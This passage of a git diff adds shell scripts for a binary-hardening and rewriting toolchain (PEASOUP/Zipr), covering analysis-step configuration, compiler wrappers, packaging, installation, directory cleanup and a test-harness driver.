+# Default configuration for CGC with Zipr only
+#
+#
+# NOTE: The LD_PRELOAD below -- this may cause 
+# problems but I (Will) need it on the VMs to
+# readdir() etc from NFS.
+#
+
+cd /techx_share/techx_umbrella/peasoup/
+source set_env_vars
+cd -
+export LD_PRELOAD=/usr/local/lib/inode64.so
+
+$PEASOUP_HOME/tools/ps_analyze.sh $* 	\
+	--step spawner=off 		\
+	--step appfw=off 		\
+	--step find_strings=off 	\
+	--step preLoaded_ILR1=off	\
+	--step preLoaded_ILR2=off	\
+	--step heaprand=off	\
+	--step double_free=off	\
+	--step controlled_exit=off	\
+	--step detect_server=off	\
+	--step watchdog=off	\
+	--step signconv_func_monitor=off	\
+	--step rekey=off	\
+	--step input_filtering=off	\
+	--step integertransform=off	\
+	--step fast_spri=off	\
+	--step fast_annot=off	\
+	--step spasm=off	\
+	--step ilr=off	\
+	--step zipr=on	\
+	--backend=zipr
diff --git a/peasoup_examples/tools/ps_analyze_rigrandom.sh b/peasoup_examples/tools/ps_analyze_rigrandom.sh
new file mode 100755
index 0000000000000000000000000000000000000000..1274eb1678a18098f934203fb5db01d4d2791ae2
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze_rigrandom.sh
@@ -0,0 +1,15 @@
+#!/bin/bash 
+
+in=$1
+out=$2
+random_char=$3
+
+# chop off the last argument before passing args to ps_analyze
+length=$(($#-1))
+argv=${@:1:$length}
+
+$PEASOUP_HOME/tools/ps_analyze.sh $argv 	   	\
+	--backend zipr	\
+	--step rigrandom=on \
+	--step-option rigrandom:$random_char \
+	--step gather_libraries=off \
diff --git a/peasoup_examples/tools/ps_analyze_sol.sh b/peasoup_examples/tools/ps_analyze_sol.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f41d4d8d91339572680d9ef95de6bf9f684d2db2
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze_sol.sh
@@ -0,0 +1,45 @@
+#!/bin/sh 
+
+$PEASOUP_HOME/tools/ps_analyze.sh $* 	   	\
+	-s stratafy_with_pc_confine=off 	\
+	-s detect_server=off 			\
+	-s watchdog=off 			\
+	-s signconv_func_monitor=off 		\
+	-s concolic=off 			\
+	-s determine_program=off 		\
+	-s manual_test=off 			\
+	-s integertransform=off 		\
+	-s twitchertransform=off 		\
+	-s p1transform=off 			\
+	-s add_confinement_section=off 		\
+	\
+	-s controlled_exit=off 		\
+	\
+	-s rekey=on 			\
+	-s add_confinement_section=on 	\
+	-s pc_confine=on 		\
+	-s create_binary_script=on 	\
+	-s isr=on 			\
+	-s heaprand=on 			\
+	-s double_free=on 		\
+	\
+	-s pdb_register=on 		\
+	-s clone=on 			\
+	-s fix_calls=on 		\
+	-s fill_in_cfg=on 		\
+	-s fill_in_indtargs=on 		\
+	-s generate_spri=on 		\
+	-s spasm=on 			\
+	-s find_strings=on 		\
+	-s ilr=on 			\
+	-s gather_libraries=on 		\
+	-s fast_spri=on 		\
+	-s preLoaded_ILR1=on 		\
+	-s preLoaded_ILR2=on 		\
+	-s is_so=on 			\
+	-s meds_static=on 		\
+	-s fast_annot=on 		\
+	-s appfw=off 			\
+
+
+# appfw was working?
diff --git a/peasoup_examples/tools/ps_comp++.sh b/peasoup_examples/tools/ps_comp++.sh
new file mode 100755
index 0000000000000000000000000000000000000000..8b326bb7af26b2ce9b01d02b1753c7f7710f1cb8
--- /dev/null
+++ b/peasoup_examples/tools/ps_comp++.sh
@@ -0,0 +1,33 @@
+#!/bin/sh
+
+
+#
+# this odd loop is a way to stop/error check that no one can pass a gcc flag
+# to gcc and get a reasonable compile-step.
+#
+baseflags="-fno-stack-protector -c -w"
+
+#
+# don't pass me flags or i'll smack you.
+# exceptions: -I is OK
+#
+for i in $*
+do
+        echo $i|egrep "^-";     # check for starting with a -
+        if [ 0 -eq  $? ] ; then
+                echo $i|egrep "^-I" > /dev/null;    # check for starting with a -o
+                dashI=$?
+
+                if [ 0 -eq  $dashI ] ; then
+                        echo -n ; # blank on purpose
+                else
+                        echo SMACK\! No flags to this script, only files to link
+                        exit 1
+                fi
+        elif [ ! -f $i ]; then
+                echo File $i not found
+                exit 2
+        fi
+done
+
+g++ $baseflags $*
diff --git a/peasoup_examples/tools/ps_comp.sh b/peasoup_examples/tools/ps_comp.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f305f08f9d6c8eddb8689dafbb73f004a73ef948
--- /dev/null
+++ b/peasoup_examples/tools/ps_comp.sh
@@ -0,0 +1,37 @@
+#!/bin/sh
+
+
+#
+# this odd loop is a way to stop/error check that no one can pass a gcc flag
+# to gcc and get a reasonable compile-step.
+#
+baseflags="-fno-stack-protector -c -w"
+
+#
+# don't pass me flags or i'll smack you.
+# exceptions: -I is OK
+#
+for i in $*
+do
+        echo $i|egrep "^-";     # check for starting with a -
+        if [ 0 -eq  $? ] ; then
+                echo $i|egrep "^-I" > /dev/null;    # check for starting with a -o
+                dashI=$?
+
+                if [ 0 -eq  $dashI ] ; then
+                        echo -n ; # blank on purpose
+                else
+                        echo SMACK\! No flags to this script, only files to link
+                        exit 1
+                fi
+        elif [ ! -f $i ]; then
+                echo File $i not found
+                exit 2
+        fi
+done
+
+gcc $baseflags $*
+retval=$?
+# return gcc's exit code
+exit $retval
+
diff --git a/peasoup_examples/tools/ps_create_installer.sh b/peasoup_examples/tools/ps_create_installer.sh
new file mode 100755
index 0000000000000000000000000000000000000000..64f7c548fa392e8b5ffdb3393319a752959bbe66
--- /dev/null
+++ b/peasoup_examples/tools/ps_create_installer.sh
@@ -0,0 +1,91 @@
+#!/bin/bash
+
+PEASOUP_APP_WRAPPER_SCRIPT=$1
+PEASOUP_APP_BASENAME=`basename $PEASOUP_APP_WRAPPER_SCRIPT`
+PEASOUP_APP_PACKAGE=`pwd`/$PEASOUP_APP_BASENAME.peasoup.tar
+
+error()
+{
+  echo "$0: $1"
+  echo
+  usage
+}
+
+usage()
+{
+  echo "usage: $0 <peasoup_program>"
+  exit 1
+}
+
+verify_peasoup_app()
+{
+  grep ps_run.sh $PEASOUP_APP_WRAPPER_SCRIPT >/dev/null 2>/dev/null
+  if [ ! $? -eq 0 ]; then
+    error "$PEASOUP_APP_WRAPPER_SCRIPT is not a PEASOUP program"
+  fi
+
+  ps_run=`grep ps_run $PEASOUP_APP_WRAPPER_SCRIPT | cut -d' ' -f1`
+  if [ ! -f $ps_run ]; then
+    error "$PEASOUP_APP_WRAPPER_SCRIPT appears corrupted -- could not locate $ps_run"
+  fi
+}
+
+#
+# Script to package up a Peasoupified binary
+#
+
+
+verify_peasoup_app
+
+rm $PEASOUP_APP_PACKAGE.gz 2>/dev/null
+
+#
+# Wrapper script contains a line of the form:
+# <fullpath_ps_run.sh> <fullpath_top_level_peasoup_directory> "$@"
+#
+
+# Get the peasoup application directory off the 2nd argument on that line
+PEASOUP_APP_DIR=`grep ps_run $PEASOUP_APP_WRAPPER_SCRIPT | cut -d' ' -f2`
+
+echo "Peasoup application package  : $PEASOUP_APP_PACKAGE"
+echo "Peasoup application directory: $PEASOUP_APP_DIR"
+
+NEW_PEASOUP_DIR=$PEASOUP_APP_BASENAME.peasoup
+TMP=/tmp/$PEASOUP_APP_BASENAME.$$
+TMP_PEASOUP_DIR=$TMP/$NEW_PEASOUP_DIR
+mkdir -p $TMP_PEASOUP_DIR
+
+# copy files necessary to run peasoupified binary
+cp $PEASOUP_APP_DIR/a.stratafied $TMP_PEASOUP_DIR
+cp $PEASOUP_APP_DIR/a.irdb.bspri $TMP_PEASOUP_DIR
+cp $PEASOUP_APP_DIR/a.ncexe.annot $TMP_PEASOUP_DIR
+cp $PEASOUP_APP_DIR/ps_run.sh $TMP_PEASOUP_DIR
+
+# fill in values for installer template
+INSTALLER=install_$PEASOUP_APP_BASENAME.sh
+cp $PEASOUP_HOME/tools/ps_install.stmpl $TMP/$INSTALLER
+
+cat $PEASOUP_HOME/tools/ps_install.stmpl | sed "s/#PEASOUP_DIR#/$NEW_PEASOUP_DIR/g" > $TMP/$INSTALLER
+
+#
+
+# now prepare the zipped tarball
+cd $TMP
+
+chmod +x $INSTALLER
+
+tar -cvzf $PEASOUP_APP_PACKAGE \
+    $INSTALLER \
+    $NEW_PEASOUP_DIR/a.stratafied \
+    $NEW_PEASOUP_DIR/a.irdb.bspri \
+    $NEW_PEASOUP_DIR/a.ncexe.annot \
+    $NEW_PEASOUP_DIR/ps_run.sh 
+
+gzip $PEASOUP_APP_PACKAGE
+
+# cleanup and restore working directory
+rm -fr $TMP
+
+echo
+echo "Created zipped tarball for peasoup binary: $PEASOUP_APP_WRAPPER_SCRIPT"
+echo "To install, unzip tarball and run installer script" 
diff --git a/peasoup_examples/tools/ps_install.sh b/peasoup_examples/tools/ps_install.sh
new file mode 100644
index 0000000000000000000000000000000000000000..488f3ddea162252913655a6a9aef97a4ae6c5a90
--- /dev/null
+++ b/peasoup_examples/tools/ps_install.sh
@@ -0,0 +1,92 @@
+#!/bin/bash
+
+# Installer name is of the form: program.install.sh
+PROG=$(basename $0 .installer.sh)
+
+# Default installation directory
+INSTALL_DIR=/tmp/zest_install/bin
+DESKTOP_ZEPHYR_DIR=$HOME/Desktop/ZephyrProtected
+
+create_desktop_shortcut()
+{
+	name=$1
+	pathprotected=$2
+	if [ -d "$HOME/Desktop" ]; then
+		if [ ! -d "$DESKTOP_ZEPHYR_DIR" ]; then
+			mkdir $DESKTOP_ZEPHYR_DIR
+		fi
+		desktopfile=${DESKTOP_ZEPHYR_DIR}/${name}.desktop
+		echo "[Desktop Entry]" > $desktopfile
+		echo "Name=$name" >> $desktopfile
+		echo "Comment=Run $name" >> $desktopfile
+		echo "Exec=${pathprotected}" >> $desktopfile
+		echo 'Terminal=false' >> $desktopfile
+		echo 'Type=Application' >> $desktopfile
+		echo 'Icon=utilities-terminal' >> $desktopfile
+		chmod +x $desktopfile
+		return 0
+	else
+		return 1
+	fi
+}
+
+echo ================================================================
+echo "Installing $PROG"
+echo "Installation directory: $INSTALL_DIR"
+echo "Fully qualified path: $INSTALL_DIR/$PROG"
+
+echo
+echo "Type any key to continue"
+read anykey
+
+# in case it's not there yet
+if [ ! -d "$INSTALL_DIR" ]; then
+	mkdir -p $INSTALL_DIR 
+fi
+
+chmod +x ./a.stratafied
+
+# wipe out any old installs
+if [ -d "$INSTALL_DIR/${PROG}_analysis" ]; then
+	rm -fr "$INSTALL_DIR/${PROG}_analysis"
+fi
+
+# copy the peasoup dir
+cp -r . $INSTALL_DIR/${PROG}_analysis
+echo "$INSTALL_DIR/${PROG}_analysis/ps_run.sh $INSTALL_DIR/${PROG}_analysis \"\$0\" \"\$@\"" > $INSTALL_DIR/$PROG
+chmod +x $INSTALL_DIR/$PROG
+
+# if X11 applications detected, create desktop shortcut
+ldd ./a.ncexe.orig | grep X11 >/dev/null 2>&1
+if [ $? -eq 0 ]; then
+	create_desktop_shortcut ${PROG} ${INSTALL_DIR}/${PROG}
+	if [ $? -eq 0 ]; then
+		echo X application detected - desktop shortcut succesfully created in $DESKTOP_ZEPHYR_DIR
+	else
+		echo Could not create desktop shortcut in $DESKTOP_ZEPHYR_DIR
+	fi
+fi
+
+echo ================================================================
+echo "Installation complete"
+echo ================================================================
+
+# cleanup 
+
+#
+# note that we are in the archive
+#
+
+# save current dir
+current_dir=$(pwd)
+
+# remove files in the current directory
+rm -r * 
+
+# get out of current dir so that we can erase it
+cd /tmp
+rmdir "${current_dir}"
+
+# remove temporary installer
+rm -f /tmp/${PROG}.installer
+
diff --git a/peasoup_examples/tools/ps_install.stmpl b/peasoup_examples/tools/ps_install.stmpl
new file mode 100755
index 0000000000000000000000000000000000000000..6c55468c8af7abd033f2c37eff9ca279b7a51bf6
--- /dev/null
+++ b/peasoup_examples/tools/ps_install.stmpl
@@ -0,0 +1,22 @@
+#!/bin/sh
+
+#
+# Template for creating an installer file for Peasoupified binaries
+#
+
+peasoup_dir=`pwd`/#PEASOUP_DIR#
+peasoup_binary=`basename #PEASOUP_DIR# .peasoup`
+
+echo Installing $peasoup_binary...
+
+rm $peasoup_binary 2>/dev/null
+
+echo "#!/bin/sh" >> $peasoup_binary
+echo "" >> $peasoup_binary
+echo "$peasoup_dir/ps_run.sh $peasoup_dir \"\$@\"" >> $peasoup_binary
+
+chmod +x $peasoup_binary
+
+echo $peasoup_binary is ready for use
+
+
diff --git a/peasoup_examples/tools/ps_link.sh b/peasoup_examples/tools/ps_link.sh
new file mode 100755
index 0000000000000000000000000000000000000000..cca5a5cd38ec2c505aebcf2bcfc89b00b537fb29
--- /dev/null
+++ b/peasoup_examples/tools/ps_link.sh
@@ -0,0 +1,33 @@
+#!/bin/sh
+
+#
+# don't pass me flags or i'll smack you.
+# exceptions: -o, -l, -L, is OK
+#
+for i in $*
+do
+	echo $i|egrep "^-" > /dev/null;	# check for starting with a - 
+	if [ 0 -eq  $? ] ; then 
+		echo $i|egrep "^-o" > /dev/null;	# check for starting with a -o 
+		dasho=$?
+		echo $i|egrep "^-l" > /dev/null;	# check for starting with a -l
+		dashl=$?
+		echo $i|egrep "^-L" > /dev/null;	# check for starting with a -L 
+		dashL=$?
+
+		if [ 0 -eq  $dasho ] ; then 
+			echo -n; # blank on purpose
+		elif [ 0 -eq  $dashl ] ; then 
+			echo -n; # blank on purpose
+		elif [ 0 -eq  $dashL ] ; then 
+			echo -n; # blank on purpose
+		else
+			echo SMACK\! No flags to this script, only files to link
+			exit 1
+		fi
+	fi
+done
+
+gcc -Bstatic -static $* 
+retval=$?
+exit $retval
diff --git a/peasoup_examples/tools/ps_release.sh b/peasoup_examples/tools/ps_release.sh
new file mode 100755
index 0000000000000000000000000000000000000000..067798f5aa7878c354dd31708c40b9e50baa4511
--- /dev/null
+++ b/peasoup_examples/tools/ps_release.sh
@@ -0,0 +1,129 @@
+#!/bin/bash
+
+# Script to scrub PEASOUP directory
+
+usage()
+{
+  echo "usage: $0 [ <peasoup_program> | <peasoup_dir> ]"
+  exit 1
+}
+
+error()
+{
+  echo "$0: $1"
+  echo
+  usage
+}
+
+verify_peasoup_dir()
+{
+  ls $1 | grep ps_run > /dev/null 2>&1 
+  if [ ! $? -eq 0 ]; then
+    error "$1 not a valid peasoup directory"
+  fi
+}
+
+verify_peasoup_app()
+{
+  grep ps_run $1   > /dev/null 2>&1
+  if [ ! $? -eq 0 ]; then
+    error "$1 not a valid peasoup program"
+  fi
+}
+
+
+assert_files()
+{
+	for i in $1; do
+		if [ ! -f $i ]; then 
+			echo "Missing file: $i"
+			exit 1
+		fi
+	done
+}
+
+remove_rest()
+{
+	keepers=$*	
+	for j in `ls`; do
+		found=0
+		for i in $keepers; do
+			if [  $i = $j ]; then 
+				found=1 
+			fi
+		done
+		if [ $found = 0 ]; then
+			echo Removing $j
+			if [ -d $j ]; then
+				rm -Rf $j
+			else
+				rm -f $j
+			fi
+		else
+			echo Keeping $j
+		fi
+	done
+}
+
+
+
+#
+# sanity checks before scrubbing directory
+#
+
+if [ -d $1 ]; then
+  peasoup_dir=$1
+  verify_peasoup_dir $peasoup_dir
+else
+  verify_peasoup_app $1
+  peasoup_dir=`grep ps_run $1 | cut -d' ' -f2`
+  verify_peasoup_dir $peasoup_dir
+fi
+
+echo "Preparing directory for release: $peasoup_dir"
+
+
+cd $peasoup_dir
+
+files_to_keep="a.ncexe.annot 
+a.ncexe.sigs.orig
+a.stratafied 
+a.irdb.fbspri.reloc
+a.stratafied
+a.stratafied.data_dataListFile
+a.stratafied.data_hashFile
+a.stratafied.data_hash.ini
+a.stratafied.data_keyValueFile
+a.stratafied.data_libListFile
+a.stratafied.map_hashFile
+a.stratafied.map_hash.ini
+a.stratafied.map_keyValueFile
+a.stratafied.map_libListFile
+a.stratafied.term_map_hashFile
+a.stratafied.term_map_hash.ini
+a.stratafied.term_map_keyValueFile
+diagnostics.out
+libappfw.so
+libstrata.so
+ps_run.sh 
+"
+
+# assert that the necessary files were all created 
+assert_files $files_to_keep
+# remove any other files, including logs
+remove_rest $files_to_keep
+
+#
+# set perms on remaining files
+#
+
+# directory has rwx for user only 
+chmod 700 . a.ncexe.sigs.orig
+
+# non-executable files are read-only 
+chmod 400 a.irdb.fbspri.reloc a.ncexe.annot a.stratafied.data_dataListFile a.stratafied.data_hashFile a.stratafied.data_hash.ini a.stratafied.data_keyValueFile a.stratafied.data_libListFile a.stratafied.map_hashFile a.stratafied.map_hash.ini a.stratafied.map_keyValueFile a.stratafied.map_libListFile a.stratafied.term_map_hashFile a.stratafied.term_map_hash.ini a.stratafied.term_map_keyValueFile 
+
+# executable files are r-x for user only 
+chmod 500 libappfw.so a.stratafied libstrata.so ps_run.sh
+
+
diff --git a/peasoup_examples/tools/ps_release_all.sh b/peasoup_examples/tools/ps_release_all.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ded04f8cd66becaf5699ca667720428a21f5e49e
--- /dev/null
+++ b/peasoup_examples/tools/ps_release_all.sh
@@ -0,0 +1,6 @@
+#!/bin/sh
+
+for i in $1/peasoup_executable_dir*; do
+	$PEASOUP_HOME/tools/ps_release.sh $i
+done
+
diff --git a/peasoup_examples/tools/ps_run.sh b/peasoup_examples/tools/ps_run.sh
new file mode 100755
index 0000000000000000000000000000000000000000..1859d4de83c2f78bc90a0de83f1388ea1e3d4020
--- /dev/null
+++ b/peasoup_examples/tools/ps_run.sh
@@ -0,0 +1,194 @@
+#!/bin/bash
+######################################################################
+######################################################################
+# This file is used as a template, not actually for running the code #
+######################################################################
+######################################################################
+
+#
+# determine the directory that contains the files for peasoup
+#
+datapath=$1
+
+#
+# save original $0
+#
+
+origbinpath=$2
+
+#
+# make sure we have enough stack space
+#
+ulimit -s unlimited &>/dev/null
+
+#
+# grab the rest of the args in $*
+#
+shift 2;
+
+#
+# Run the program with the proper env. vars set., and the arguments to the program specified
+#
+
+command=""
+APP_LD_PRELOAD="$LD_PRELOAD"
+
+DO_APPFW=0
+if [ "$DO_APPFW" = "1" ]; then 
+	command="$command 
+		APPFW_LOG_FILE=$datapath/appfw.log
+		APPFW_DB=$datapath/appfw.db
+		APPFW_SIGNATURE_FILE=$datapath/a.ncexe.sigs.$$
+	"
+	APP_LD_PRELOAD="$datapath/libappfw.so:$APP_LD_PRELOAD"
+fi
+
+DO_DIEHARD=0
+if [ "$DO_DIEHARD" = "1" ]; then 
+	APP_LD_PRELOAD="$datapath/libheaprand.so:$APP_LD_PRELOAD"
+fi
+
+DO_TWITCHER=0
+if [ "$DO_TWITCHER" = "1" ]; then
+	if [ -z $TWITCHER_LOG ]; then
+		TWITCHER_LOG=$datapath/twitcher.log
+	fi
+	command="$command TWITCHER_LOG=$TWITCHER_LOG
+	"
+	APP_LD_PRELOAD=$datapath/libtwitcher.so:$APP_LD_PRELOAD
+fi
+
+DO_TOCTOU=0
+if [ "$DO_TOCTOU" = "1" ]; then
+	APP_LD_PRELOAD="$datapath/libtoctou_tool.so:$APP_LD_PRELOAD"
+fi
+
+DO_DEADLOCK=0
+if [ "$DO_DEADLOCK" = "1" ]; then
+	if [ -z $DEADLOCK_LOG ]; then
+		DEADLOCK_LOG=$datapath/deadlock.log
+	fi
+	command="$command DEADLOCK_LOG=$DEADLOCK_LOG
+	"
+	APP_LD_PRELOAD="$datapath/libdeadlock_tool.so:$APP_LD_PRELOAD"
+fi
+
+
+# these are now defaulted nicely by strata for x86-32 and x86-64.
+#STRATA_IBTC=1					 
+#STRATA_IBTC_SHARED=1
+#STRATA_SIEVE=0					
+#STRATA_RC=0					
+#STRATA_PARTIAL_INLINING=1			
+
+if test `/bin/uname -s` = SunOS; then
+	command="$command LD_PRELOAD=$datapath/libstrata.so:$APP_LD_PRELOAD"
+	exe=ncexe
+else
+	command="$command LD_PRELOAD=\"$APP_LD_PRELOAD\""
+	exe=stratafied
+fi
+
+
+command="$command
+LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$datapath
+PEASOUP_SCHEDULE_PERTURB=0
+STRATA_WATCHDOG=0
+STRATA_NUM_HANDLE=0
+STRATA_DOUBLE_FREE=0
+STRATA_HEAPRAND=0
+STRATA_SHADOW_STACK=0
+STRATA_CONTROLLED_EXIT=0
+STRATA_DETECT_SERVERS=0
+STRATA_PC_CONFINE=0
+STRATA_PC_CONFINE_XOR=0				
+STRATA_REKEY_AFTER=0
+STRATA_PC_CONFINE_XOR_KEY_LENGTH=1024		
+STRATA_ANNOT_FILE=$datapath/a.ncexe.annot 
+STRATA_IS_SO=0
+STRATA_IBTL=0
+STRATA_EXE_FILE=$datapath/a.$exe
+STRATA_COMM=$(/usr/bin/basename $origbinpath)
+SPAWNER_EXE_FILE=$datapath/spawned
+STRATA_MAX_WARNINGS=500000
+	exec -a $origbinpath $datapath/a.$exe \"\$@\""
+
+if [ "$DO_APPFW" = "1" ]; then
+#
+# setup signatures for appfw
+#
+BACKTICK=0
+
+addsigs () {
+	local sig=$1
+	# Make backticks separate strings
+	if [[ "$sig" =~ "\`" ]]; then
+		if [[ $BACKTICK == 0 ]]; then
+			BACKTICK=1
+			echo "\`" >> $datapath/a.ncexe.sigs.$$
+		fi
+		sig=$(echo $sig | tr '\`' ' ')
+	fi
+	# Split whitespace in arguments and add to sigs
+	echo "$sig" | tr ' ' '\n' | /bin/grep -v '^[ \t]*$' >> $datapath/a.ncexe.sigs.$$
+}
+
+/bin/cp $datapath/a.ncexe.sigs.orig $datapath/a.ncexe.sigs.$$
+# only trust command line inputs for files that are not setuid/setgid
+if [ ! -g a.ncexe -a ! -u a.ncexe ]; then
+	echo $datapath/a.stratafied >> $datapath/a.ncexe.sigs.$$
+	echo $origbinpath >> $datapath/a.ncexe.sigs.$$
+	echo $PWD >> $datapath/a.ncexe.sigs.$$
+	for var in "$@"; do
+		addsigs "$var"
+		# Add signatures from files with same owner as the executable
+		if [[ -f "$var" && $(stat -c %U "$var") == $(stat -c %U $origbinpath) ]]; then
+			# limit to first 10K to avoid choking for now
+			strings "$var" | head -c 10000 | sort | uniq > $datapath/argfilestrings.$$
+			while read line; do
+				for s in $line; do
+					addsigs "$s"
+				done
+			done < $datapath/argfilestrings.$$
+		fi
+	done
+fi
+
+unset addsigs
+fi
+
+#
+#  If STRATA_LOG is clear, no additional logging was requested, and we just always need to log to a file.
+#
+if [ -z $STRATA_LOG ]; then
+	command="STRATA_LOG=detectors STRATA_OUTPUT_FILE=$datapath/diagnostics.out $command"
+else
+	# otherwise, we add detectors to the strata_log list, and log to stderr	
+	command="STRATA_LOG=$STRATA_LOG,detectors $command"
+fi
+
+#
+# Set mmap files location if preLoaded_ILR is on
+#
+if [ -f $datapath/a.stratafied.data_hash.ini ]; then
+	command="STRATA_SPRI_MMAP_DIR=$datapath/ $command"
+fi
+
+#
+# Set SPRI file to use (should be generated from the IRDB).
+#
+# check for faster versions of the spri file first
+if [ -f $datapath/a.irdb.fbspri  -o -f $datapath/a.irdb.fbspri.reloc ]; then
+	command="STRATA_SPRI_FILE=$datapath/a.irdb.fbspri $command"
+# default to the slow one
+elif [ -f $datapath/a.irdb.bspri ]; then
+	command="STRATA_SPRI_FILE=$datapath/a.irdb.bspri $command"
+fi
+
+ 
+if [ ! -z $ZEST_VERBOSE ]; then
+	echo $command
+fi
+
+
+eval $command
diff --git a/peasoup_examples/tools/ps_scrub.sh b/peasoup_examples/tools/ps_scrub.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b33a8f3597302eac38296278c2ebb4c7153f19b1
--- /dev/null
+++ b/peasoup_examples/tools/ps_scrub.sh
@@ -0,0 +1,78 @@
+#!/bin/bash -x
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+#
+# This software was developed with SBIR funding and is subject to SBIR Data Rights, 
+# as detailed below.
+#
+# SBIR DATA RIGHTS
+#
+# Contract No. __N00014-14-C-0197___W31P4Q-14-C-0086________.
+# Contractor Name __Zephyr Software LLC_____________________.
+# Address __2040 Tremont Road, Charlottesville, VA 22911____.
+# Expiration of SBIR Data Rights Period __16-JUNE-2021______.
+#
+#
+# Script to scrub PEASOUP directory
+
+usage()
+{
+  echo "usage: $0 [ <peasoup_dir> ]"
+  exit 1
+}
+
+error()
+{
+  echo "$0: $1"
+  echo
+  usage
+}
+
+verify_peasoup_dir()
+{
+  ls $1 | grep ps_run
+  if [ ! $? -eq 0 ]; then
+    error "$1 not a valid peasoup directory"
+  fi
+}
+
+#
+# sanity checks before scrubbing directory
+#
+
+if [ -d $1 ]; then
+  peasoup_dir=$1
+  verify_peasoup_dir $peasoup_dir
+else
+  usage
+fi
+
+echo "$0: scrubbing peasoup directory: $peasoup_dir"
+
+cd $peasoup_dir
+
+# start removing stuff
+rm -fr logs/*.log
+rmdir logs
+rm a.irdb.aspri*
+rm a.irdb.bspri
+rm a.ncexe new.exe
+rm *annot.full
+rm *.asm
+rm *.SMPobjdump
diff --git a/peasoup_examples/tools/ps_tne_scripts/README b/peasoup_examples/tools/ps_tne_scripts/README
new file mode 100644
index 0000000000000000000000000000000000000000..d386704062f097c0a1b549594f40c3295ef76c51
--- /dev/null
+++ b/peasoup_examples/tools/ps_tne_scripts/README
@@ -0,0 +1,19 @@
+
+This is a collection of scripts for the December 2011 T&E of the PEASOUP 
+project, run by MITRE. The scripts are required by the MITRE provided 
+TestHarness for the testing system.
+
+To use, first install the TestHarness and TestManager following the
+instructions provided in the Peasoup collaboration wiki under the
+MirrorMitreDocs heading. Be sure to install the TESTHarness on a 
+platform with with a working Peasoup installation.
+
+Copy the scripts analyze, execute, and new into the TestHraness directory
+as described in the setup instructions. You are ready to run the
+TestHarness.
+
+These scripts were developed by the Peasoup collaboration, loosely based
+on examples provided by Mitre. Contributions were made by W. Ella of
+Raytheon, M. Co of University of Virginia, and J. Phillips of GrammaTech.
+Copywrite of the Peasoup collaboration. All rights reserved.
+
diff --git a/peasoup_examples/tools/ps_tne_scripts/analyze b/peasoup_examples/tools/ps_tne_scripts/analyze
new file mode 100755
index 0000000000000000000000000000000000000000..08f38939623a224198f4ca5d82aa606f1be07951
--- /dev/null
+++ b/peasoup_examples/tools/ps_tne_scripts/analyze
@@ -0,0 +1,107 @@
+#
+# (c) 2011 The MITRE Corporation.  ALL RIGHTS RESERVED.
+#
+# bash analyze <test_case> <sw_dir> <run_command> <run_directory> <build_command> <build_directory> -> <status>
+
+# compile the source if it is available
+#
+# returns status
+#
+# We cannot put any messages to stdout from this script except the return value
+
+# store test case name so called scripts can use it
+export TNE_TEST_CASE="$1"
+
+# For now, put the path to the environment file needed by ps_analyze and ps_run
+# in an environment variable of its own. This is to try and make it obvious
+# what this path is for and the fact that it is local layout dependant
+export PEASOUP_ENV_PATH='/ps0/testbot/uva-svn/strata_env'
+# Set the environment for Peasoup, then run it
+eval 'source $PEASOUP_ENV_PATH'
+
+LOG_COMMAND="$GRACE_HOME/concolic/src/util/linux/ps_log_tne.py"
+GEN_MESSAGE_COMMAND="$GRACE_HOME/concolic/src/util/linux/general_message.py"
+
+# Log the call and its contents
+# Build log message
+l_message_1_1="analyze script called for test case $1 with arguments"
+l_message_1_2="sw dir: $2"
+l_message_1_3="run command: $3"
+l_message_1_4="run dir: $4"
+l_message_1_5="build command: $5"
+l_message_1_6="build dir: $6"
+l_message_1_7="analyze called from dir: $PWD"
+
+message_1="${l_message_1_1}
+${l_message_1_2}
+${l_message_1_3}
+${l_message_1_4}
+${l_message_1_5}
+${l_message_1_6}
+${l_message_1_7}"
+
+python $LOG_COMMAND -n $1 -t "Analyze parameters" -m "$message_1"
+
+# Send a general message that analyze was called
+python $GEN_MESSAGE_COMMAND -n $1 -t "Analyze called" -m "analyze script called for test case"
+
+
+# we are starting in <test_case_dir>
+# get to <sw_dir>
+cd $2
+python $LOG_COMMAND -n $1 -t "Analyze script" -m "In sw dir: $PWD"
+
+# get to <build_directory> relative to <sw_dir>
+cd $6
+python $LOG_COMMAND -n $1 -t "Analyze script" -m "In build dir: $PWD"
+
+# Process the run command to get the <path>/<name of exe>
+cmdline=($3)
+execpath=${cmdline[0]}
+
+## The TH passes the wrong path. This is a bug in the TH which is supposed to be
+## fixed by T&E. For now, we correct by taking just the executable name using the
+## following statement.
+execcmd=`basename $execpath`
+
+## TOOD: Enhance Grace to be able to use the 'ignored arguments' since 
+## T&E will always call the executable with them
+
+# build the package
+# we aren't building for binaries
+# eval $5
+
+# Move to the <run_directory>
+# This is currently set to . by MITRE, so is useless and violates the specification
+# given in Mitre's API document
+cd $4
+l_message_2_1="In run dir: $PWD"
+l_message_2_2="Constructed command: $execpath"
+l_message_2_3="Constructed basename: $execcmd"
+
+message_2="$l_message_2_1
+$l_message_2_2
+$l_message_2_3"
+
+python $LOG_COMMAND -n $1 -t "Analyze script" -m "$message_2"
+
+python $LOG_COMMAND -n $1 -t "Analyze script" -m "Analysis phase beginning"
+
+# 4 hour timeout
+$PEASOUP_HOME/tools/ps_analyze.sh $execcmd $execcmd.peasoup --timeout 14400 >& ps_analyze_log.txt
+PS_ANALYZE_STATUS="$?"
+python $LOG_COMMAND -n $1 -t "Analyze script" -m "Analysis phase done with exit status: $PS_ANALYZE_STATUS"
+
+# Send a general message that analyze is done
+python $GEN_MESSAGE_COMMAND -n $1 -t "Analyze complete" -m "analyze script finished"
+
+# TODO: We need to decide on a better result value
